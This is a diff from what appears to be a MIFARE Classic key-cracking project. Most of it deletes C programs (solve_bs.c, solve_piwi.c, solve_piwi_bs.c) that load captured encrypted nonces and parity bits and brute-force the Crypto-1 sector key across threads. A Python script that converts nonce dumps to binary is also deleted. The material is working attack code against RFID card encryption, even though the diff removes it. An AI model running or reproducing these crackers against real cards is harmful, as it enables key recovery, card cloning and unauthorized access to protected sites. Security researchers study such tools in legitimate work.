+ unsigned long elapsed_time = difftime(end, start);
+ PrintAndLog("Tested %lu states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
+ if(!keys_found){
+ assert(total_states_tested == maximum_states);
+ }
+ // reset this counter for the next call
+
+ nonces_to_bruteforce = 0;
}
}

145
solve_bs.c
View File

@ -1,145 +0,0 @@
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <pthread.h>
#include "craptev1.h"
#include "crypto1_bs.h"
#include "crypto1_bs_crack.h"
#include <inttypes.h>
#include <math.h>
#define __STDC_FORMAT_MACROS
#define llx PRIx64
#define lli PRIi64
#define llu PRIu64
#define lu PRIu32
#define VT100_cleareol "\r\33[2K"
uint32_t **space;
uint8_t thread_count = 1;
uint64_t *readnonces(char* fname) {
int i, j;
FILE *f = fopen(fname, "r");
if (f == NULL) {
fprintf(stderr, "Cannot open file.\n");
exit(EXIT_FAILURE);
}
uint64_t *nonces = malloc(sizeof (uint64_t) << 24);
uint32_t nt;
char par;
i = 0;
while(!feof(f)){
nonces[i] = 0;
for(j = 0; j < 32; j += 8) {
if(2 != fscanf(f, "%02x%c ", &nt, &par)) {
fprintf(stderr, "Input format error at line:%d\n", i);
fflush(stderr);
exit(EXIT_FAILURE);
}
nonces[i] |= nt << j | (uint64_t)((par == '!') ^ parity(nt)) << (32 + j);
}
i++;
}
nonces[i] = -1;
fclose(f);
return nonces;
}
void* crack_states_thread(void* x){
const size_t thread_id = (size_t)x;
int j;
for(j = thread_id; space[j * 5]; j += thread_count) {
const uint64_t key = crack_states_bitsliced(space + j * 5);
if(key != -1){
printf("Found key: %012"llx"\n", key);
break;
} else if(keys_found){
break;
}
}
return NULL;
}
void notify_status_offline(int sig){
printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states)));
alarm(1);
fflush(stdout);
signal(SIGALRM, notify_status_offline);
}
int main(int argc, char* argv[]){
if(argc != 3){
printf("Usage: %s <nonces.txt> <uid>\n", argv[0]);
return -1;
}
printf("Reading nonces...\n");
uint64_t *nonces = readnonces(argv[1]);
uint32_t uid = strtoul(argv[2], NULL, 16);
printf("Deriving search space...\n");
space = craptev1_get_space(nonces, 95, uid);
total_states = craptev1_sizeof_space(space);
#ifndef __WIN32
thread_count = sysconf(_SC_NPROCESSORS_CONF);
#else
thread_count = 1;
#endif
// append some zeroes to the end of the space to make sure threads don't go off into the wild
size_t j = 0;
for(j = 0; space[j]; j+=5){
}
size_t fill = j + (5*thread_count);
for(; j < fill; j++) {
space[j] = 0;
}
pthread_t threads[thread_count];
size_t i;
printf("Initializing BS crypto-1\n");
crypto1_bs_init();
printf("Using %u-bit bitslices\n", MAX_BITSLICES);
uint8_t rollback_byte = **space;
printf("Bitslicing rollback byte: %02x...\n", rollback_byte);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8);
printf("Bitslicing nonces...\n");
for(size_t tests = 0; tests < NONCE_TESTS; tests++){
// pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
uint32_t test_nonce = uid^rev32(nonces[tests]);
uint32_t test_parity = (nonces[tests]>>32)^rev32(uid);
test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3);
crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4);
}
total_states_tested = 0;
keys_found = 0;
printf("Starting %u threads to test %"llu" (~2^%0.2f) states\n", thread_count, total_states, log(total_states) / log(2));
signal(SIGALRM, notify_status_offline);
alarm(1);
for(i = 0; i < thread_count; i++){
pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
}
for(i = 0; i < thread_count; i++){
pthread_join(threads[i], 0);
}
alarm(0);
printf("\nTested %"llu" states\n", total_states_tested);
if(!keys_found) fprintf(stderr, "No solution found :(\n");
craptev1_destroy_space(space);
return 0;
}

101
solve_piwi.c
View File

@ -1,101 +0,0 @@
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include "craptev1.h"
#include <inttypes.h>
#define __STDC_FORMAT_MACROS
#define llx PRIx64
#define lli PRIi64
#define llu PRIu64
#define lu PRIu32
#define rev32(word) (((word & 0xff) << 24) | (((word >> 8) & 0xff) << 16) | (((word >> 16) & 0xff) << 8) | (((word >> 24) & 0xff)))
uint64_t split(uint8_t p){
return (((p & 0x8) >>3 )| ((p & 0x4) >> 2) << 8 | ((p & 0x2) >> 1) << 16 | (p & 0x1) << 24 );
}
uint32_t uid;
uint64_t *readnonces(char* fname){
int i;
FILE *f = fopen(fname, "rb");
uint64_t *nonces = malloc(sizeof (uint64_t) << 24);
if(fread(&uid, 1, 4, f)){
uid = rev32(uid);
}
fseek(f, 6, SEEK_SET);
i = 0;
uint32_t nt_enc1, nt_enc2;
uint8_t par_enc;
while(!feof(f)){
if(fread(&nt_enc1, 1, 4, f) && fread(&nt_enc2, 1, 4, f) && fread(&par_enc, 1, 1, f)){
nonces[i ] = split(~(par_enc >> 4)) << 32 | nt_enc1;
nonces[i+1] = split(~(par_enc & 0xff)) << 32 | nt_enc2;
i += 2;
}
}
nonces[i] = -1;
fclose(f);
return nonces;
}
uint32_t **space;
uint8_t thread_count = 1;
uint64_t states_tested = 0;
uint64_t total_states;
void* crack_states_thread(void* x){
const size_t thread_id = (size_t)x;
int j;
for(j = thread_id; space[j * 5]; j += thread_count) {
uint64_t key = craptev1_search_partition(space + j * 5);
states_tested = total_states - craptev1_sizeof_space(space+j*5);
printf("Cracking... %6.02f%%\n", (100.0*states_tested/(total_states)));
if(key != -1){
printf("Found key: %012"llx"\n", key);
exit(0);
}
}
return NULL;
}
int main(int argc, char* argv[]){
if(argc != 2){
printf("Usage: %s <nonces.bin>\n", argv[0]);
return -1;
}
uint64_t *nonces = readnonces(argv[1]);
space = craptev1_get_space(nonces, 95, uid);
total_states = craptev1_sizeof_space(space);
#ifndef __WIN32
thread_count = sysconf(_SC_NPROCESSORS_CONF);
#else
thread_count = 1;
#endif
// append some zeroes to the end of the space to make sure threads don't go off into the wild
size_t j = 0;
for(j = 0; space[j]; j+=5){
}
size_t fill = j + (5*thread_count);
for(; j < fill; j++) {
space[j] = 0;
}
pthread_t threads[thread_count];
printf("Starting %u threads to test %"llu" states\n", thread_count, total_states);
size_t i;
states_tested = 0;
for(i = 0; i < thread_count; i++){
pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
}
for(i = 0; i < thread_count; i++){
pthread_join(threads[i], 0);
}
printf("Tested %"llu" states\n", states_tested);
craptev1_destroy_space(space);
return 0;
}

147
solve_piwi_bs.c
View File

@ -1,147 +0,0 @@
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <pthread.h>
#include "craptev1.h"
#include "crypto1_bs.h"
#include "crypto1_bs_crack.h"
#include <inttypes.h>
#include <math.h>
#define __STDC_FORMAT_MACROS
#define llx PRIx64
#define lli PRIi64
#define llu PRIu64
#define lu PRIu32
#define VT100_cleareol "\r\33[2K"
uint64_t split(uint8_t p){
return (((p & 0x8) >>3 )| ((p & 0x4) >> 2) << 8 | ((p & 0x2) >> 1) << 16 | (p & 0x1) << 24 );
}
uint32_t uid;
uint64_t *readnonces(char* fname){
int i;
FILE *f = fopen(fname, "rb");
if (f == NULL) {
fprintf(stderr, "Cannot open file.\n");
exit(EXIT_FAILURE);
}
uint64_t *nonces = malloc(sizeof (uint64_t) << 24);
if(fread(&uid, 1, 4, f)){
uid = rev32(uid);
}
fseek(f, 6, SEEK_SET);
i = 0;
while(!feof(f)){
uint32_t nt_enc1, nt_enc2;
uint8_t par_enc;
if(fread(&nt_enc1, 1, 4, f) && fread(&nt_enc2, 1, 4, f) && fread(&par_enc, 1, 1, f)){
nonces[i ] = split(~(par_enc >> 4)) << 32 | nt_enc1;
nonces[i+1] = split(~(par_enc & 0xff)) << 32 | nt_enc2;
i += 2;
}
}
nonces[i] = -1;
fclose(f);
return nonces;
}
uint32_t **space;
uint8_t thread_count = 1;
void* crack_states_thread(void* x){
const size_t thread_id = (size_t)x;
int j;
for(j = thread_id; space[j * 5]; j += thread_count) {
const uint64_t key = crack_states_bitsliced(space + j * 5);
if(key != -1){
printf("Found key: %012"llx"\n", key);
break;
} else if(keys_found){
break;
}
}
return NULL;
}
void notify_status_offline(int sig){
printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states)));
alarm(1);
fflush(stdout);
signal(SIGALRM, notify_status_offline);
}
int main(int argc, char* argv[]){
if(argc != 2){
printf("Usage: %s <nonces.bin>\n", argv[0]);
return -1;
}
printf("Reading nonces...\n");
uint64_t *nonces = readnonces(argv[1]);
printf("Deriving search space...\n");
space = craptev1_get_space(nonces, 95, uid);
total_states = craptev1_sizeof_space(space);
#ifndef __WIN32
thread_count = sysconf(_SC_NPROCESSORS_CONF);
#else
thread_count = 1;
#endif
// append some zeroes to the end of the space to make sure threads don't go off into the wild
size_t j = 0;
for(j = 0; space[j]; j+=5){
}
size_t fill = j + (5*thread_count);
for(; j < fill; j++) {
space[j] = 0;
}
pthread_t threads[thread_count];
size_t i;
printf("Initializing BS crypto-1\n");
crypto1_bs_init();
printf("Using %u-bit bitslices\n", MAX_BITSLICES);
uint8_t rollback_byte = **space;
printf("Bitslicing rollback byte: %02x...\n", rollback_byte);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8);
printf("Bitslicing nonces...\n");
for(size_t tests = 0; tests < NONCE_TESTS; tests++){
// pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
uint32_t test_nonce = uid^rev32(nonces[tests]);
uint32_t test_parity = (nonces[tests]>>32)^rev32(uid);
test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity &0xff) & 1) << 3);
crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4);
}
total_states_tested = 0;
keys_found = 0;
printf("Starting %u threads to test %"llu" (~2^%0.2f) states\n", thread_count, total_states, log(total_states) / log(2));
signal(SIGALRM, notify_status_offline);
alarm(1);
for(i = 0; i < thread_count; i++){
pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
}
for(i = 0; i < thread_count; i++){
pthread_join(threads[i], 0);
}
alarm(0);
printf("Tested %"llu" states\n", total_states_tested);
craptev1_destroy_space(space);
return 0;
}

29
txttobin.py
View File

@ -1,29 +0,0 @@
import sys
data = file(sys.argv[1], 'rb').readlines()
if sys.argv[1].endswith('.txt'):
uid = sys.argv[1][:-4]
def parity(x):
return ("{0:08b}".format(x).count('1') & 1)
uid=raw_input("uid> ")
fp = file(uid+'_generated.bin','wb')
fp.write(uid.decode('hex')+"\x00"*2)
bits = 0
pbits = 0
for l in data:
if bits == 8:
fp.write(chr(pbits))
bits = 0
pbits = 0
hexbytes = filter(None, l.strip().split(' '))
bits += 4
for x in hexbytes:
b = int(x.replace('!', ''), 16)
p = parity(b)
if '!' not in x:
p^=1
pbits <<= 1
pbits |= p
fp.write(chr(b))